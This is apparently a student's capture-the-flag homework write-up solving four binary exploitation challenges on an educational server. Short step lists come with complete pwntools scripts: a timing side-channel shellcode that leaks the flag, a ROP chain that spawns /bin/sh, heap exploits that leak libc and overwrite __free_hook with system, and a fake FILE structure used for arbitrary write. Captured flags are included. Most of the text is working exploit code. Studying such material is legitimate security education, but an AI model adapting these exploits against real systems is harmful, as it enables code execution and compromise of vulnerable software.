how2know

1. Make sure we can access the flag address. r13 always has the same distance from the flag. We use this value as our baseline.
2. I referenced this writeup to create my timing oracle: https://ctftime.org/writeup/34779. In checkbit() we do many multiplications if we get a 1 bit, and finish immediately if we get a 0 bit. This creates a large time difference between 0 and 1 bits.
3. Since there may be errors, we can use the checkbit_stuck() function that loops forever to make sure of the result.

Code:

```
from pwn import *
from threading import Timer
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

flag_addr = 0x4040
register_addr = 0x1289
flag = ""
time_diff = []
state = 0

def checkbit(byte_index, bit_index, r):
    global flag_addr
    global flag
    myasm = """
    mov al, BYTE PTR [r13+{0}];
    xor r11, r11;
    shr al, {1};
    and al, 0x1;
    cmp rax, r11;
    je loop_done;
    imul rax, 0x30000000;
    loop_start:
    cmp rax, r11;
    je loop_done;
    inc r11;
    imul rbx, 0x30000000;
    imul rcx, 0x20000000;
    imul r8, 0x30000000;
    imul r9, 0x30000000;
    jmp loop_start;
    loop_done:
```

```
    leave;
    ret;
    """.format(hex(flag_addr-register_addr+byte_index),
hex(bit_index))
    addr = asm(myasm)
    before = time.time()
    r.sendafter('talk is cheap, show me the code\n', addr)
    r.recvall()
    diff = time.time() - before
    print(diff)
    time_diff.append(diff)
    if diff > 0.6:
        flag += '1'
    else:
        flag += '0'

def closeSocket(r):
    global flag
    global state
    if state == 0:
        flag += '1'
    else:
        flag += '0'
    r.close()
    print(flag)

def checkbit_stuck(byte_index, bit_index, r):
    global flag_addr
    global flag
    global state
    myasm = """
    mov al, BYTE PTR [r13+{0}];
    xor r11, r11;
    shr al, {1};
    and al, 0x1;
    cmp rax, r11;
    je loop_done;
    imul rax, 0x30000000;
    loop_start:
    jmp loop_start;
    loop_done:
    leave;
```

```
    ret;
    """.format(hex(flag_addr-register_addr+byte_index),
hex(bit_index))
    addr = asm(myasm)
    r.sendafter('talk is cheap, show me the code\n', addr)
    r.recvall()
    print("0")


def run():
    for byte_index in range(0x30):
        for bit_index in range(7, -1, -1):
            r = remote('edu-ctf.zoolab.org', 10002)
            checkbit(byte_index, bit_index, r)
            print(flag)

def test():
    # function to check the error bits
    r = remote('edu-ctf.zoolab.org', 10002)
    checkbit_stuck(37, 4, r)

run()
mybytes = bytes(int(flag[i:i+8], 2) for i in range(0, len(flag),
8))
print(mybytes)
```

Reference:https://ctftime.org/writeup/34779

rop++

1. Find ROP gadgets
   ```
   ROPgadget --multibr --binary
   ./share/chal
   ```
2. Use vmmap to find a writable address (0x4c8000) for syscall read to write '/bin/sh\x00' to.
3. Allocated_stack (0x20) + old_rbp (0x8) = 0x28 → fill with garbage
4. ROP chain:
   write(1, msg_addr, 0xE)
   // add a write syscall so that we can do `r.sendafter('show me rop\n> ', '/bin/sh\x00')`
   read(0, writable_addr, 0xE)
   execve(writable_addr, 0, 0)

Code:

```python
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = remote('edu-ctf.zoolab.org', 10003)
# r = process('./share/chal')

pop_rax_ret = 0x447b27 # pop rax ; ret
pop_rdi_ret = 0x401e3f # pop rdi ; ret
pop_rsi_ret = 0x409e6e # pop rsi ; ret
pop_rdx_ret = 0x47ed0b # pop rdx ; pop rbx ; ret
syscall_ret = 0x414506 # syscall ; ret
syscall     = 0x401bf4 # syscall
msg_addr    = 0x498004 # show me rop\n>
writable_addr = 0x4c8000

ROP = flat([
   # write(1, buf, 0xE)
   pop_rdi_ret, 1,
   pop_rsi_ret, msg_addr,
   pop_rdx_ret, 0xE,
   0xE,
   pop_rax_ret, 1,
   syscall_ret,

   # read(0, buf, 0xE)
   pop_rdi_ret, 0,
   pop_rsi_ret, writable_addr,
   pop_rdx_ret, 0xE,
   0xE,
   pop_rax_ret, 0,
   syscall_ret,

   # execve('/bin/sh', 0, 0)
   pop_rdi_ret, writable_addr,
   pop_rsi_ret, 0,
   pop_rdx_ret, 0,
   0,
   pop_rax_ret, 0x3B,
   syscall
])
```

```
# gdb.attach(r)
r.sendafter('show me rop\n> ', b'A'*0x28 + ROP)
r.sendafter('show me rop\n> ', b'/bin/sh\x00')
r.interactive()
```

babyums (flag1)

1. Create user 1 and 2 and their data, then delete them to leak the heap address.
   Then, add an offset to get the admin's password address.

```
garbage = b'B'*0x8
add(1, garbage, garbage)
edit(1, 0x28, b'B'*0x28)

add(2, garbage, garbage)
edit(2, 0x28, b'B'*0x28)

delete(1)
delete(2)
stored = show()
print(stored)
heap_addr = (u64(stored.split(b'\n')[3][-6:].ljust(8,
b'\x00')) >> 12) << 12
admin_passwd = heap_addr + 0x290 + 0x20
print(heap_addr)
print(f"heap addr: {hex(heap_addr)}")
```

2. User 3,4 reuses the deleted chunks from user 1, 2. Create a new user 5. Overwrite the data pointer in user 5 to the admin password address.

```
# index 3 uses the space freed from user 2
add(3, garbage, garbage)
edit(3, 0x28, b'B')

# use up the freed 1st user chunks
add(4, garbage, garbage)
edit(4, 0x28, garbage)

# new chunk after index 3
add(5, garbage, garbage)

# overwrite data pointer of user 5 -> admin password
fake_data = flat(
```

```
    garbage, garbage,
    garbage, garbage,
    0, 0x31,
    garbage, garbage,
    garbage, garbage,
    admin_passwd
)

edit(3, 0x58, fake_data)
stored = show()
print(stored)
r.interactive()
```

3. Run show() to print out the admin's password and get the flag.

Code:

```
from pwn import *

r = remote('edu-ctf.zoolab.org', 10008)
# r = process('./share/chal')
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(r)

main_arena_offset = 0x1ecbe0
system_offset = 0x52290
free_hook_offset = 0x1eee48

def add(idx, name, password):
    global r
    r.sendlineafter('bye\n> ', b'1')
    r.sendlineafter("index\n> ", str(idx))
    r.sendlineafter("username\n> ", name)
    r.sendlineafter("password\n> ", password)
    r.recvuntil("success!\n")

def edit(idx, size, data):
    global r
    r.sendlineafter('bye\n> ', b'2')
    r.sendlineafter("index\n> ", str(idx))
    r.sendlineafter("size\n> ", str(size))
    r.sendline(data)
    r.recvuntil("success!\n")
```

```
    # print(f"Edited {idx}")

def delete(idx):
    global r
    r.sendlineafter('bye\n> ', b'3')
    r.sendlineafter("index\n> ", str(idx).encode())
    r.recvuntil("success!\n")
    # print(f"Deleted {idx}")

def show():
    global r
    r.sendlineafter('bye\n> ', b'4')
    all_notes = r.recvuntil("1. add_user\n")
    return all_notes

garbage = b'B'*0x8
add(1, garbage, garbage)
edit(1, 0x28, b'B'*0x28)

add(2, garbage, garbage)
edit(2, 0x28, b'B'*0x28)

delete(1)
delete(2)
stored = show()
print(stored)
heap_addr = (u64(stored.split(b'\n')[3][-6:].ljust(8, b'\x00')) >>
12) << 12
admin_passwd = heap_addr + 0x290 + 0x20
print(heap_addr)
print(f"heap addr: {hex(heap_addr)}")

garbage = b'C'*0x8

# index 3 uses the space freed from user 2
add(3, garbage, garbage)
edit(3, 0x28, b'B')

# use up the freed 1st user chunks
add(4, garbage, garbage)
edit(4, 0x28, garbage)
```

```
# new chunk after index 3
add(5, garbage, garbage)

# overwrite data pointer of user 5 -> admin password
fake_data = flat(
   garbage, garbage,
   garbage, garbage,
   0, 0x31,
   garbage, garbage,
   garbage, garbage,
   admin_passwd
)

edit(3, 0x58, fake_data)
stored = show()
print(stored)
r.interactive()

# flag{C8763}
```

Discussed with: b08901162 (id: yuarmy)

babyums (flag2)

1. Leak offset from unsorted bin chunk fd (user 1's data):

```
add(1, b'A'*8, b'A'*8)
edit(1, 0x418, b'A')

add(2, b'B'*8, b'B'*8)
edit(2, 0x18, b'B')

add(3, b'C'*8, b'C'*8)

delete(1)
stored = show()
print(stored)
main_arena = u64(stored.split(b'\n')[1][-6:].ljust(8,
b'\x00'))

libc = main_arena - main_arena_offset
free_hook = libc + free_hook_offset
system = libc + system_offset
```

```
print(f"libc: {hex(libc)}")
print(f"free_hook: {hex(free_hook)}")
print(f"system: {hex(system)}")
```

2. Create a fake chunk. Edit user 2 to write the fake chunk. It writes /bin/sh\x00 to user2's data and overwrites user 3's data pointer to free_hook address.

```
garbage = b'A'*8

fake = flat(
   b'/bin/sh\x00', garbage,
   garbage, 0x31,
   garbage, garbage,
   garbage, garbage,
   free_hook
)
system = flat(system)

edit(2, 0x48, fake)
```

3. Write free_hook to system
   `edit(3, 0x8, system)`
4. Manually delete user 2.

Code:

```
from pwn import *

r = remote('edu-ctf.zoolab.org', 10008)
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

main_arena_offset = 0x1ecbe0
system_offset = 0x52290
free_hook_offset = 0x1eee48

def add(idx, name, password):
   global r
   r.sendlineafter('bye\n> ', b'1')
   r.sendlineafter("index\n> ", str(idx))
   r.sendlineafter("username\n> ", name)
   r.sendlineafter("password\n> ", password)
   r.recvuntil("success!\n")

def edit(idx, size, data):
```

```
    global r
    r.sendlineafter('bye\n> ', b'2')
    r.sendlineafter("index\n> ", str(idx))
    r.sendlineafter("size\n> ", str(size))
    r.sendline(data)
    r.recvuntil("success!\n")
    # print(f"Edited {idx}")

def delete(idx):
    global r
    r.sendlineafter('bye\n> ', b'3')
    r.sendlineafter("index\n> ", str(idx).encode())
    r.recvuntil("success!\n")
    # print(f"Deleted {idx}")

def show():
    global r
    r.sendlineafter('bye\n> ', b'4')
    all_notes = r.recvuntil("1. add_user\n")
    return all_notes

add(1, b'A'*8, b'A'*8)
edit(1, 0x418, b'A')

add(2, b'B'*8, b'B'*8)
edit(2, 0x18, b'B')

add(3, b'C'*8, b'C'*8)

delete(1)
stored = show()
print(stored)
main_arena = u64(stored.split(b'\n')[1][-6:].ljust(8, b'\x00'))

libc = main_arena - main_arena_offset
free_hook = libc + free_hook_offset
system = libc + system_offset

print(f"libc: {hex(libc)}")
print(f"free_hook: {hex(free_hook)}")
print(f"system: {hex(system)}")
```

```
garbage = b'A'*8
fake = flat(
   b'/bin/sh\x00', garbage,
   garbage, 0x31,
   garbage, garbage,
   garbage, garbage,
   free_hook
)
system = flat(system)

edit(2, 0x48, fake)
edit(3, 0x8, system)
r.interactive()
# delete index 2 --> __free_hook(2->data) -->
system('/bin/sh\x00')
# FLAG{crocodile_9d7d8f69be2c2ab84721384d5bda877f}
```

miniums

1. Since vtable is part of libc, we can leak it to get libc address. When a file is closed, the vtable address remains in the freed chunk. We allocate this freed chunk as our data buffer and fill it up until vtable with garbage.

```
add(0, b'A'*0x10)
edit(0, 0x18, b'B'*0x18)
add(1, b'B'*0x10)
edit(1, 0x18, b'DEADBEEF')
delete(1)
edit(0, 0x1d8, b'C'*0xd8)
add(1, b'B'*0x10) # prevent error from fseek

vtable_offset = 0x1e94a0
free_hook_offset = 0x1eee48
system_offset = 0x52290

print(f"vtable offset : {hex(vtable_offset)}")
# leak libc
leak = show()
libc = u64(leak.split(b"\n1. add_user\n")[0][-6:].ljust(8,
b'\x00')) - vtable_offset
system = libc + system_offset
free_hook = libc + free_hook_offset
```

```
print(f"libc addr: {hex(libc)}")
print(f"free hook addr: {hex(free_hook)}")
print(f"system addr: {hex(system)}")
```

2. Write a fake file to another freed file chunk. The deleted user still points to this file chunk. In the show function, we can use fread() to do arbitrary write. From stdin, we can write the system address to free_hook.

```
garbage = b'A'*0x8
flags = 0xfbad0000
read_ptr = 0
read_end = 0
read_base = 0
write_base = free_hook
write_ptr = 0
write_end = 0
buf_base = free_hook
buf_end = free_hook + 0x1100
chain = garbage
fileno = 0

fake_file = flat(
   flags, read_ptr,
   read_end, read_base,
   write_base, write_ptr,
   write_end, buf_base,
   buf_end, 0,
   0, 0,
   0, chain,
   fileno
)

add(2, b'/bin/sh\x00')
edit(2, 0x18, b'A')
add(3, b'B'*0x10)
edit(3, 0x18, b'B'*0x18)
delete(3)
edit(2, 0x1d8, fake_file)

r.sendlineafter("5. bye\n> ", str(4))
r.recvuntil('\ndata: ')
r.recvuntil('\ndata: ')
```

```
# add a lot of nullbytes to make sure our data is received
r.sendline(flat(system)+b'\x00'*0x1000)
r.interactive()
```

3. Manually do delete(2) and cat /home/chal/flag to get flag

Code:

```
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
r = remote('edu-ctf.zoolab.org', 10011)

def add(idx, username):
    global r
    r.sendlineafter("5. bye\n> ", str(1))
    r.sendlineafter("index\n> ", str(idx))
    r.sendlineafter("username\n> ", username)
    r.recvuntil("success!\n")

def edit(idx, size, data):
    global r
    r.sendlineafter("5. bye\n> ", str(2))
    r.sendlineafter("index\n> ", str(idx))
    r.sendlineafter("size\n> ", str(size))
    r.send(data)
    r.recvuntil("success!\n")

def delete(idx):
    r.sendlineafter("5. bye\n> ", str(3))
    r.sendlineafter("index\n> ", str(idx))
    r.recvuntil("success!\n")

def show():
    r.sendlineafter("5. bye\n> ", str(4))
    r.recvuntil("1. add_user\n")
    data = r.recvuntil("1. add_user\n")
    return data

add(0, b'A'*0x10)
edit(0, 0x18, b'B'*0x18)
add(1, b'B'*0x10)
edit(1, 0x18, b'DEADBEEF')
```

```
delete(1)
edit(0, 0x1d8, b'C'*0xd8)
add(1, b'B'*0x10) # prevent error from fseek

vtable_offset = 0x1e94a0
free_hook_offset = 0x1eee48
system_offset = 0x52290

# leak libc
leak = show()
libc = u64(leak.split(b"\n1. add_user\n")[0][-6:].ljust(8,
b'\x00')) - vtable_offset
system = libc + system_offset
free_hook = libc + free_hook_offset

print(f"libc addr: {hex(libc)}")
print(f"free hook addr: {hex(free_hook)}")
print(f"system addr: {hex(system)}")

garbage = b'A'*0x8
flags = 0xfbad0000
read_ptr = 0
read_end = 0
read_base = 0
write_base = free_hook
write_ptr = 0
write_end = 0
buf_base = free_hook
buf_end = free_hook + 0x1100
chain = garbage
fileno = 0

fake_file = flat(
   flags, read_ptr,
   read_end, read_base,
   write_base, write_ptr,
   write_end, buf_base,
   buf_end, 0,
   0, 0,
   0, chain,
   fileno
)
```

```
add(2, b'/bin/sh\x00')
edit(2, 0x18, b'A')
add(3, b'B'*0x10)
edit(3, 0x18, b'B'*0x18)
delete(3)
edit(2, 0x1d8, fake_file)

r.sendlineafter("5. bye\n> ", str(4))
r.recvuntil('\ndata: ')
r.recvuntil('\ndata: ')

# add a lot of nullbytes to make sure our data is received
r.sendline(flat(system)+b'\x00'*0x1000)
r.interactive()
# 1. manually execute delete(2) in interactive mode
# 2. cat /home/chal/flag

# FLAG{Toyz_4y2m_QQ_6a61c7e00afda47e65f4aaedc62e4fdc}
```

Discussed with: b08901162 (id: yuarmy)